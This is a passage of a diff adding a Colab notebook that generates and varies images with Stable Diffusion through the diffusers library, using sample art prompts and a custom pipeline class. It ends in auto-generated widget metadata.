+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "Sz6SRmjd6pBb"
+      },
+      "outputs": [],
+      "source": [
+        "prompts = [\"Cute Rabbit, Ultra HD, realistic, futuristic, sharp, octane render, photoshopped, photorealistic, soft, pastel, Aesthetic, Magical background\",\n",
+        "           \"Anime style aesthetic landscape, 90's vintage style, digital art, ultra HD, 8k, photoshopped, sharp focus, surrealism, akira style, detailed line art\",\n",
+        "           \"Beautiful, abstract art of a human mind, 3D, highly detailed, 8K, aesthetic\"]\n",
+        "\n",
+        "images = []"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 113,
+          "referenced_widgets": [
+            "eb182b33be95418fad1010ccf7b176ab",
+            "614b85aff85e47debadea7773583b8ab",
+            "c6305a1adcd946d2a4c66c05e614bcf1",
+            "d321be86c24d4a35a251d4ef7a75c24d",
+            "a99edd082dff4f928c3b75abf84ec0ec",
+            "3d17c5e7b942485d9ca1db572c06afe5",
+            "29f58c06e0474f4e8f411aaaceb4d7f7",
+            "f369cc94c2544de3acdbcd35cac6d393",
+            "0bec42769e7e4492aedd4afb63a91ff3",
+            "73f2e3215913478aae13131aefadd0a5",
+            "64f6ec814be648d3ba69f94eb844a049",
+            "534cf1c7f20a431cab02aea224148db3",
+            "1997648c2dc946e1bdb18d2730175ea8",
+            "2496cd9b6ee640f8a6d398b7a56f93b7",
+            "7f0e7d1bd12b4d0eb800a3d62901c4a8",
+            "b75a2474c46f4f3b9d84cb981bfffac7",
+            "ac3ea0ea867b4c30bd4be87aaa602d42",
+            "ff0910f0831b49ac9faaba1e70c275dc",
+            "fc5d5de2233543eba400877e7891977a",
+            "f9a2bf4d86ab403d9e1c7378e91bf467",
+            "cbcfc8e9b02348a182722c846cecca2a",
+            "ece36cbb62cd46a8b452fac32dce3493",
+            "6f400bad53794c7cbed09e4fd59c211d",
+            "4cecf6bc5f294968bcee7bf65896a31d",
+            "5bb94e6390af4e81ac0e6b3a47445996",
+            "af474aa6c91344da9a968e7e2488b74c",
+            "5a702086896f4a229e326fa05d616b35",
+            "28cd65b9d6f946abab83e430ab6d2017",
+            "a432cb1a0bc7418bb90248973e91c452",
+            "37af49a1966045ee992e01f45ff5df81",
+            "8120fb8694244e5dbbc448eb2a6e03dc",
+            "69faef33b09f4da7b1c11639102b2a4f",
+            "87d35ca268744638ad484ccf1a7fe2ed"
+          ]
+        },
+        "id": "ovvyensy6pDl",
+        "outputId": "2b0269af-4978-4a8b-eea9-96c12401dc62"
+      },
+      "outputs": [],
+      "source": [
+        "for i, prompt in enumerate(prompts):\n",
+        "    image = pipe(prompt).images[0]\n",
+        "    image.save(f'result_{i}.jpg')\n",
+        "    images.append(image)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 785
+        },
+        "id": "vd532OSA8Md7",
+        "outputId": "a8ddd5b1-376b-4036-d87d-af9dc71c88e0"
+      },
+      "outputs": [],
+      "source": [
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 785
+        },
+        "id": "ZpVbvylE8OEt",
+        "outputId": "5a577720-b68e-4657-9cbb-4112287afa23"
+      },
+      "outputs": [],
+      "source": [
+        "images[1]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 785
+        },
+        "id": "R1DNPbbz8PU-",
+        "outputId": "893bb392-96f0-4106-e3d7-f6def830ede1"
+      },
+      "outputs": [],
+      "source": [
+        "images[2]"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "Jd-5c7bouD-_"
+      },
+      "source": [
+        "# Manually working with the different components"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "01bGNP1n6aF4"
+      },
+      "outputs": [],
+      "source": [
+        "import torch\n",
+        "from torch import autocast\n",
+        "import numpy as np\n",
+        "\n",
+        "from transformers import CLIPTextModel, CLIPTokenizer\n",
+        "\n",
+        "from diffusers import AutoencoderKL\n",
+        "from diffusers import LMSDiscreteScheduler\n",
+        "from diffusers import UNet2DConditionModel\n",
+        "from diffusers.schedulers.scheduling_ddim import DDIMScheduler\n",
+        "\n",
+        "from tqdm import tqdm\n",
+        "from PIL import Image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "3yBgKeUs8LWU"
+      },
+      "outputs": [],
+      "source": [
+        "class ImageDiffusionModel:\n",
+        "\n",
+        "    def __init__(self, vae, tokenizer, text_encoder, unet, \n",
+        "                 scheduler_LMS, scheduler_DDIM):\n",
+        "        self.vae = vae\n",
+        "        self.tokenizer = tokenizer\n",
+        "        self.text_encoder = text_encoder\n",
+        "        self.unet = unet\n",
+        "        self.scheduler_LMS = scheduler_LMS\n",
+        "        self.scheduler_DDIM = scheduler_DDIM\n",
+        "        self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n",
+        "    \n",
+        "    \n",
+        "    def get_text_embeds(self, text):\n",
+        "        # tokenize the text\n",
+        "        text_input = self.tokenizer(text, \n",
+        "                                    padding='max_length', \n",
+        "                                    max_length=tokenizer.model_max_length, \n",
+        "                                    truncation=True, \n",
+        "                                    return_tensors='pt')\n",
+        "        # embed the text\n",
+        "        with torch.no_grad():\n",
+        "            text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n",
+        "\n",
+        "        return text_embeds\n",
+        "\n",
+        "    def get_prompt_embeds(self, prompt):\n",
+        "        # get conditional prompt embeddings\n",
+        "        cond_embeds = self.get_text_embeds(prompt)\n",
+        "        # get unconditional prompt embeddings\n",
+        "        uncond_embeds = self.get_text_embeds([''] * len(prompt))\n",
+        "        # concatenate the above 2 embeds\n",
+        "        prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n",
+        "        return prompt_embeds\n",
+        "\n",
+        "    def get_img_latents(self, \n",
+        "                        text_embeds, \n",
+        "                        height=512, width=512, \n",
+        "                        num_inference_steps=50, \n",
+        "                        guidance_scale=7.5, \n",
+        "                        img_latents=None):\n",
+        "        # if no image latent is passed, start reverse diffusion with random noise\n",
+        "        if img_latents is None:\n",
+        "            img_latents = torch.randn((text_embeds.shape[0] // 2, self.unet.in_channels,\\\n",
+        "                                       height // 8, width // 8)).to(self.device)\n",
+        "        # set the number of inference steps for the scheduler\n",
+        "        self.scheduler_LMS.set_timesteps(num_inference_steps)\n",
+        "        # scale the latent embeds\n",
+        "        img_latents = img_latents * self.scheduler_LMS.sigmas[0]\n",
+        "        # use autocast for automatic mixed precision (AMP) inference\n",
+        "        with autocast('cuda'):\n",
+        "            for i, t in tqdm(enumerate(self.scheduler_LMS.timesteps)):\n",
+        "                # do a single forward pass for both the conditional and unconditional latents\n",
+        "                latent_model_input = torch.cat([img_latents] * 2)\n",
+        "                sigma = self.scheduler_LMS.sigmas[i]\n",
+        "                latent_model_input = latent_model_input / ((sigma ** 2 + 1) ** 0.5)\n",
+        "                \n",
+        "                # predict noise residuals\n",
+        "                with torch.no_grad():\n",
+        "                    noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample']\n",
+        "\n",
+        "                # separate predictions for unconditional and conditional outputs\n",
+        "                noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2)\n",
+        "                # perform guidance\n",
+        "                noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond)\n",
+        "\n",
+        "                # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n",
+        "                img_latents = self.scheduler_LMS.step(noise_pred, t, img_latents)['prev_sample']\n",
+        "\n",
+        "        return img_latents\n",
+        "\n",
+        "\n",
+        "    def decode_img_latents(self, img_latents):\n",
+        "        img_latents = img_latents / 0.18215\n",
+        "        with torch.no_grad():\n",
+        "            imgs = self.vae.decode(img_latents)[\"sample\"]\n",
+        "        # load image in the CPU\n",
+        "        imgs = imgs.detach().cpu()\n",
+        "        return imgs\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def transform_imgs(self, imgs):\n",
+        "        # transform images from the range [-1, 1] to [0, 1]\n",
+        "        imgs = (imgs / 2 + 0.5).clamp(0, 1)\n",
+        "        # permute the channels and convert to numpy arrays\n",
+        "        imgs = imgs.permute(0, 2, 3, 1).numpy()\n",
+        "        # scale images to the range [0, 255] and convert to int\n",
+        "        imgs = (imgs * 255).round().astype('uint8')        \n",
+        "        # convert to PIL Image objects\n",
+        "        imgs = [Image.fromarray(img) for img in imgs]\n",
+        "        return imgs\n",
+        "        \n",
+        "    \n",
+        "    \n",
+        "    def prompt_to_img(self, \n",
+        "                      prompts, \n",
+        "                      height=512, width=512, \n",
+        "                      num_inference_steps=50, \n",
+        "                      guidance_scale=7.5, \n",
+        "                      img_latents=None):\n",
+        "        \n",
+        "        # convert prompt to a list\n",
+        "        if isinstance(prompts, str):\n",
+        "            prompts = [prompts]\n",
+        "        \n",
+        "        # get prompt embeddings\n",
+        "        text_embeds = self.get_prompt_embeds(prompts)\n",
+        "\n",
+        "        # get image embeddings\n",
+        "        img_latents = self.get_img_latents(text_embeds,\n",
+        "                                      height, width,\n",
+        "                                      num_inference_steps,\n",
+        "                                      guidance_scale, \n",
+        "                                      img_latents)\n",
+        "        # decode the image embeddings\n",
+        "        imgs = self.decode_img_latents(img_latents)\n",
+        "        # convert decoded image to suitable PIL Image format\n",
+        "        imgs = self.transform_imgs(imgs)\n",
+        "\n",
+        "        return imgs\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def encode_img_latents(self, imgs):\n",
+        "        if not isinstance(imgs, list):\n",
+        "            imgs = [imgs]\n",
+        "        \n",
+        "        imgs = np.stack([np.array(img) for img in imgs], axis=0)\n",
+        "        # scale images to the range [-1, 1]\n",
+        "        imgs = 2 * ((imgs / 255.0) - 0.5)\n",
+        "        imgs = torch.from_numpy(imgs).float().permute(0, 3, 1, 2)\n",
+        "\n",
+        "        # encode images\n",
+        "        img_latents_dist = self.vae.encode(imgs.to(self.device))\n",
+        "        # img_latents = img_latents_dist.sample()\n",
+        "        img_latents = img_latents_dist[\"latent_dist\"].mean.clone()\n",
+        "        # scale images\n",
+        "        img_latents *= 0.18215\n",
+        "\n",
+        "        return img_latents\n",
+        "\n",
+        "\n",
+        "    def get_img_latents_similar(self,\n",
+        "                                img_latents,\n",
+        "                                text_embeds, \n",
+        "                                height=512, width=512, \n",
+        "                                num_inference_steps=50, \n",
+        "                                guidance_scale=7.5,\n",
+        "                                start_step=10):        \n",
+        "        \n",
+        "        # set the number of inference steps for the scheduler\n",
+        "        self.scheduler_DDIM.set_timesteps(num_inference_steps)\n",
+        "\n",
+        "        if start_step > 0:\n",
+        "            start_timestep = self.scheduler_DDIM.timesteps[start_step]\n",
+        "            start_timesteps = start_timestep.repeat(img_latents.shape[0]).long()\n",
+        "\n",
+        "            noise = torch.randn_like(img_latents)\n",
+        "            img_latents = scheduler_DDIM.add_noise(img_latents, noise, start_timesteps)\n",
+        "        \n",
+        "        # use autocast for automatic mixed precision (AMP) inference\n",
+        "        with autocast('cuda'):\n",
+        "            for i, t in tqdm(enumerate(self.scheduler_DDIM.timesteps[start_step:])):\n",
+        "                # do a single forward pass for both the conditional and unconditional latents\n",
+        "                latent_model_input = torch.cat([img_latents] * 2)\n",
+        "                \n",
+        "                # predict noise residuals\n",
+        "                with torch.no_grad():\n",
+        "                    noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample']\n",
+        "\n",
+        "                # separate predictions for unconditional and conditional outputs\n",
+        "                noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2)\n",
+        "                # perform guidance\n",
+        "                noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond)\n",
+        "\n",
+        "                # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n",
+        "                img_latents = self.scheduler_DDIM.step(noise_pred, t, img_latents)['prev_sample']\n",
+        "\n",
+        "        return img_latents\n",
+        "\n",
+        "    \n",
+        "    def similar_imgs(self, \n",
+        "                     img, \n",
+        "                     prompt, \n",
+        "                     height=512, width=512,\n",
+        "                     num_inference_steps=50, \n",
+        "                     guidance_scale=7.5,\n",
+        "                     start_step=10):\n",
+        "        \n",
+        "        # get image latents\n",
+        "        img_latents = self.encode_img_latents(img)\n",
+        "\n",
+        "        if isinstance(prompt, str):\n",
+        "            prompt = [prompt]\n",
+        "\n",
+        "        text_embeds = self.get_prompt_embeds(prompt)\n",
+        "        \n",
+        "        img_latents = self.get_img_latents_similar(img_latents=img_latents,\n",
+        "                                                   text_embeds=text_embeds,\n",
+        "                                                height=height, width=width,\n",
+        "                                                num_inference_steps=num_inference_steps,\n",
+        "                                                guidance_scale=guidance_scale,\n",
+        "                                                start_step=start_step) \n",
+        "\n",
+        "        imgs = self.decode_img_latents(img_latents)\n",
+        "        imgs = self.transform_imgs(imgs)\n",
+        "        # Clear the CUDA cache\n",
+        "        torch.cuda.empty_cache()\n",
+        "\n",
+        "        return imgs\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "kd6TwWqEs4Me"
+      },
+      "outputs": [],
+      "source": [
+        "device = 'cuda'\n",
+        "\n",
+        "# model_name = \"dreamlike-art/dreamlike-photoreal-2.0\"\n",
+        "model_name = \"CompVis/stable-diffusion-v1-4\"\n",
+        "# Load autoencoder\n",
+        "vae = AutoencoderKL.from_pretrained(model_name, \n",
+        "                                    subfolder='vae').to(device)\n",
+        "\n",
+        "# Load tokenizer and the text encoder\n",
+        "tokenizer = CLIPTokenizer.from_pretrained(model_name, subfolder=\"tokenizer\")\n",
+        "text_encoder = CLIPTextModel.from_pretrained(model_name, subfolder=\"text_encoder\").to(device)\n",
+        "\n",
+        "# Load UNet model\n",
+        "unet = UNet2DConditionModel.from_pretrained(model_name, subfolder='unet').to(device)\n",
+        "\n",
+        "# Load scheduler\n",
+        "scheduler_LMS = LMSDiscreteScheduler(beta_start=0.00085, \n",
+        "                                 beta_end=0.012, \n",
+        "                                 beta_schedule='scaled_linear', \n",
+        "                                 num_train_timesteps=1000)\n",
+        "\n",
+        "scheduler_DDIM = DDIMScheduler(beta_start=0.00085, \n",
+        "                               beta_end=0.012, \n",
+        "                               beta_schedule='scaled_linear', \n",
+        "                               num_train_timesteps=1000)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "SigUHp47f14I",
+        "outputId": "bad874ae-1e68-45fe-ef31-9fe887780582"
+      },
+      "outputs": [],
+      "source": [
+        "model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)\n",
+        "\n",
+        "prompts = [\"A really giant cute pink barbie doll on the top of Burj Khalifa\", \n",
+        "           \"A green, scary aesthetic dragon breathing fire near a group of heroic firefighters\"]\n",
+        "\n",
+        "imgs = model.prompt_to_img(prompts)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 529
+        },
+        "id": "8UpQ8gIWf17j",
+        "outputId": "165f5a5d-fe20-4303-c46f-b247efd05181"
+      },
+      "outputs": [],
+      "source": [
+        "imgs[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 529
+        },
+        "id": "NAS1yD8vZym_",
+        "outputId": "ef57db7c-a6c9-437f-d27e-94b2bab06ea9"
+      },
+      "outputs": [],
+      "source": [
+        "imgs[1]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 603
+        },
+        "id": "nj8pcEOupRES",
+        "outputId": "0ced4046-ed46-4bd0-8b77-1c23ca73dab6"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = [\"Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon\"]\n",
+        "\n",
+        "imgs = model.prompt_to_img(prompt)\n",
+        "\n",
+        "imgs[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "GmXyduZ1npqg"
+      },
+      "outputs": [],
+      "source": [
+        "# saving the image\n",
+        "imgs[0].save(\"spaceship1.png\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 529
+        },
+        "id": "RuAHYae4r3MC",
+        "outputId": "c4be8be3-cacb-48f6-b70c-15ec69afe5b0"
+      },
+      "outputs": [],
+      "source": [
+        "# loading the image again\n",
+        "original_img = Image.open(\"spaceship1.png\")\n",
+        "original_img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "qMcpCt20RyKi"
+      },
+      "outputs": [],
+      "source": [
+        "import torch\n",
+        "import gc\n",
+        "\n",
+        "### If you get OOM errors, execute this cell\n",
+        "# del model\n",
+        "# Clear the CUDA cache \n",
+        "torch.cuda.empty_cache()\n",
+        "gc.collect()\n",
+        "torch.cuda.empty_cache()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "1TQNiEE86Y6E",
+        "outputId": "2b87847d-6a63-4ec7-9cc1-7ac6a3396a48"
+      },
+      "outputs": [],
+      "source": [
+        "!nvidia-smi"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 547
+        },
+        "id": "1vIVmpL4rPmK",
+        "outputId": "4bbc1c35-6850-41f0-a430-39d764a59f2a"
+      },
+      "outputs": [],
+      "source": [
+        "model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)\n",
+        "\n",
+        "prompt = \"Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon\"\n",
+        "\n",
+        "imgs = model.similar_imgs(original_img, prompt, num_inference_steps=50, start_step=30)\n",
+        "imgs[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 547
+        },
+        "id": "zOL-Y7BFai7d",
+        "outputId": "666384a3-667d-4715-cbe1-07566afa242d"
+      },
+      "outputs": [],
+      "source": [
+        "# model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)\n",
+        "\n",
+        "prompt = \"Aesthetic dark star wars spaceship, Ultra HD, futuristic, sharp, octane render, neon\"\n",
+        "\n",
+        "imgs = model.similar_imgs(original_img, prompt,\n",
+        "                          num_inference_steps=50,\n",
+        "                          start_step=40)\n",
+        "imgs[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "thiXQYcG8Ekv"
+      },
+      "outputs": [],
+      "source": []
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "Xwtu2l3-8EnJ"
+      },
+      "outputs": [],
+      "source": []
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "Yb0H_X6i8Eqj"
+      },
+      "outputs": [],
+      "source": []
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
+      "collapsed_sections": [
+        "Dn2_-E5Sa9Rn"
+      ],
+      "provenance": []
+    },
+    "gpuClass": "standard",
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "0072680043674280bcde9c4bc19b3704": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_260d5617f5e247f3a978a28d5fe72740",
+            "placeholder": "",
+            "style": "IPY_MODEL_5eba2d04c1c54016834e7dddd253a380",
+            "value": "Downloading (…)tokenizer/merges.txt: 100%"
+          }
+        },
+        "016df28dd739433daa2c8d3b1706486c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "03433d859a7a4f3cae64d9d0bf374643": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "03fe79b7b7c5439c99fef039f96a831b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d438504eef684317a6c09cc0b123d25d",
+            "max": 341,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_26b8bf61f8e44014a005ed10835f68b5",
+            "value": 341
+          }
+        },
+        "0468827f86394f7baf78d44264a225e7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "06a9b1722db8473597c3a6cf17dafa29": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "090573574f8d48a1b9d2918d14c75c9a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "0a8793f9c57f48b299703b7945163b50": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0b9c78977b6a45da9aa6ada3332fbc28": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0bb6ef1e3a2d43ca970723b0e5ac93cf": {
+          "model_module": "@jupyter-widgets/controls",
